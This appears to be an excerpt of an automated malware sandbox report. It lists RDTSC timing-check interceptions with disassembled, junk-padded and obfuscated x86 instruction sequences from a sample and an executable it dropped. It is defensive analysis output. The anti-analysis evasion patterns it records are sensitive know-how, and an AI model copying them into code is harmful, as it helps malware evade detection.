Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539031C second address: 5390331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04B93A01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390331 second address: 5390389 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F9C04EA4D2Eh 0x00000011 push eax 0x00000012 pushad 0x00000013 mov dx, 96E4h 0x00000017 push edi 0x00000018 call 00007F9C04EA4D38h 0x0000001d pop ecx 0x0000001e pop edi 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F9C04EA4D2Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390389 second address: 539038F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539038F second address: 53903D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx ebx, si 0x0000000e mov cx, 290Dh 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F9C04EA4D35h 0x0000001d and ecx, 2D8E9896h 0x00000023 jmp 00007F9C04EA4D31h 0x00000028 popfd 0x00000029 mov bx, cx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53903D8 second address: 53903F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04B93A08h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9556 second address: CC956A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9C04EA4D2Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539042A second address: 539042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539042E second address: 539044B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539044B second address: 5390455 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 1C045BF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390455 second address: 5390474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9C04EA4D35h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390474 second address: 539047A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539047A second address: 5390489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390489 second address: 539048D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539048D second address: 5390491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390491 second address: 5390497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390528 second address: 5390551 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push 391981E1h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9C04EA4D32h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390551 second address: 539058E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 mov edi, 5C721030h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 4F339DC9h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F9C04B93A00h 0x0000001e xor si, 0078h 0x00000023 jmp 00007F9C04B939FBh 0x00000028 popfd 0x00000029 push esi 0x0000002a pop edi 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539058E second address: 53905EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F9C75D48771h 0x0000000e push 762327D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [762C0140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 jmp 00007F9C04EA4D2Eh 0x00000058 and dword ptr [ebp-04h], 00000000h 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f pushfd 0x00000060 jmp 00007F9C04EA4D2Dh 0x00000065 sub esi, 17E6CA76h 0x0000006b jmp 00007F9C04EA4D31h 0x00000070 popfd 0x00000071 mov di, ax 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53905EB second address: 53905F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53905F1 second address: 5390631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov al, 88h 0x00000010 pushfd 0x00000011 jmp 00007F9C04EA4D39h 0x00000016 and ah, 00000036h 0x00000019 jmp 00007F9C04EA4D31h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390631 second address: 5390641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04B939FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390641 second address: 5390645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390645 second address: 5390685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a jmp 00007F9C04B93A07h 0x0000000f mov al, byte ptr [edx] 0x00000011 jmp 00007F9C04B93A06h 0x00000016 inc edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390685 second address: 5390689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390689 second address: 539068F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539068F second address: 5390685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F9C04EA4D30h 0x0000000b sub eax, 1C6D0848h 0x00000011 jmp 00007F9C04EA4D2Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test al, al 0x0000001c pushad 0x0000001d push esi 0x0000001e jmp 00007F9C04EA4D2Bh 0x00000023 pop esi 0x00000024 mov ebx, 7E25FEBCh 0x00000029 popad 0x0000002a jne 00007F9C04EA4CB6h 0x00000030 mov al, byte ptr [edx] 0x00000032 jmp 00007F9C04EA4D36h 0x00000037 inc edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53906FB second address: 5390700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390700 second address: 5390706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390706 second address: 5390760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 sub edx, esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F9C04B93A08h 0x00000010 add esi, 7A86DF68h 0x00000016 jmp 00007F9C04B939FBh 0x0000001b popfd 0x0000001c pushad 0x0000001d jmp 00007F9C04B93A06h 0x00000022 movzx eax, di 0x00000025 popad 0x00000026 popad 0x00000027 mov edi, dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390760 second address: 5390764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390764 second address: 5390768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390768 second address: 539076E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539076E second address: 53907C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 119511C2h 0x00000008 pushfd 0x00000009 jmp 00007F9C04B93A03h 0x0000000e jmp 00007F9C04B93A03h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 dec edi 0x00000018 jmp 00007F9C04B93A06h 0x0000001d lea ebx, dword ptr [edi+01h] 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 mov al, 13h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53907C0 second address: 53907DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bx, 48E8h 0x0000000a popad 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9C04EA4D2Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53907DA second address: 53907EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B939FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53907EF second address: 53907F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 61ADE3F4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53907F9 second address: 539084B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, esi 0x00000005 push ecx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test al, al 0x0000000c jmp 00007F9C04B939FEh 0x00000011 jne 00007F9C75A2BC62h 0x00000017 pushad 0x00000018 mov eax, 7EB1E7FDh 0x0000001d jmp 00007F9C04B939FAh 0x00000022 popad 0x00000023 mov ecx, edx 0x00000025 jmp 00007F9C04B93A00h 0x0000002a shr ecx, 02h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 movsx edx, si 0x00000033 mov eax, 60CB9695h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539084B second address: 5390870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, A2h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 jmp 00007F9C04EA4D2Fh 0x00000017 mov ecx, edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c movsx edi, ax 0x0000001f movzx ecx, di 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390870 second address: 5390875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390875 second address: 5390962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9C04EA4D39h 0x00000013 add ch, FFFFFFE6h 0x00000016 jmp 00007F9C04EA4D31h 0x0000001b popfd 0x0000001c popad 0x0000001d rep movsb 0x0000001f jmp 00007F9C04EA4D2Eh 0x00000024 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000002b jmp 00007F9C04EA4D30h 0x00000030 mov eax, ebx 0x00000032 jmp 00007F9C04EA4D30h 0x00000037 mov ecx, dword ptr [ebp-10h] 0x0000003a jmp 00007F9C04EA4D30h 0x0000003f mov dword ptr fs:[00000000h], ecx 0x00000046 jmp 00007F9C04EA4D30h 0x0000004b pop ecx 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushfd 0x00000050 jmp 00007F9C04EA4D2Dh 0x00000055 xor ax, D8B6h 0x0000005a jmp 00007F9C04EA4D31h 0x0000005f popfd 0x00000060 pushfd 0x00000061 jmp 00007F9C04EA4D30h 0x00000066 or esi, 1808D3D8h 0x0000006c jmp 00007F9C04EA4D2Bh 0x00000071 popfd 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390962 second address: 539097A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04B93A04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539097A second address: 539098F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9C04EA4D2Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390B6C second address: 5390BC1 instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 movsx edx, ax 0x0000000b pop ecx 0x0000000c popad 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007F9C04B93A03h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F9C04B939FBh 0x00000020 xor ah, FFFFFF8Eh 0x00000023 jmp 00007F9C04B93A09h 0x00000028 popfd 0x00000029 movzx eax, dx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F154D second address: 1F1551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F1551 second address: 1F1555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F1D99 second address: 1F1DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F1DA1 second address: 1F1DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F4D8E second address: 1F4D98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F9C04EA4D26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F4D98 second address: 1F4DD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 6B2A3E16h 0x0000000f mov ecx, 4C9CF632h 0x00000014 lea ebx, dword ptr [ebp+12449BA1h] 0x0000001a add edx, 08DD793Fh 0x00000020 xchg eax, ebx 0x00000021 jmp 00007F9C04B93A00h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c pop edx 0x0000002d rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F4EFF second address: 1F4F03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F4FAE second address: 1F4FD6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C04B939F8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jno 00007F9C04B93A01h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F4FD6 second address: 1F4FF4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9C04EA4D28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C04EA4D2Eh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1F4FF4 second address: 1F506F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jnc 00007F9C04B93A0Fh 0x00000012 pop eax 0x00000013 push 00000003h 0x00000015 mov esi, dword ptr [ebp+122D288Bh] 0x0000001b push 00000000h 0x0000001d mov di, 53FBh 0x00000021 push 00000003h 0x00000023 pushad 0x00000024 cld 0x00000025 add ecx, dword ptr [ebp+122D1D27h] 0x0000002b popad 0x0000002c push 975AC372h 0x00000031 jmp 00007F9C04B93A03h 0x00000036 xor dword ptr [esp], 575AC372h 0x0000003d mov edi, ebx 0x0000003f lea ebx, dword ptr [ebp+12449BB5h] 0x00000045 je 00007F9C04B939F8h 0x0000004b mov dl, 5Ah 0x0000004d push eax 0x0000004e pushad 0x0000004f pushad 0x00000050 push eax 0x00000051 pop eax 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 20681B second address: 206825 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9C04EA4D2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 206825 second address: 20683F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9C04B93A01h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 20683F second address: 206845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 213BF0 second address: 213BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 213BF4 second address: 213BF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1DEF6B second address: 1DEF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9C04B939F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1DEF77 second address: 1DEF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1DEF7C second address: 1DEF8D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F9C04B93A06h 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 211B0A second address: 211B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007F9C04EA4D26h 0x0000000c jmp 00007F9C04EA4D2Fh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 211B26 second address: 211B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 211C8E second address: 211CBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9C04EA4D39h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 211CBA second address: 211CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 211FA1 second address: 211FA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2123D3 second address: 2123DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9C04B939F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2123DD second address: 212411 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F9C04EA4D32h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9C04EA4D35h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 212411 second address: 212427 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9C04B939F6h 0x00000008 jl 00007F9C04B939F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 212427 second address: 212431 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9C04EA4D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 212431 second address: 21243C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F9C04B939F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2125A8 second address: 2125C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04EA4D35h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2125C3 second address: 2125C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2125C7 second address: 2125CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2125CB second address: 2125D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
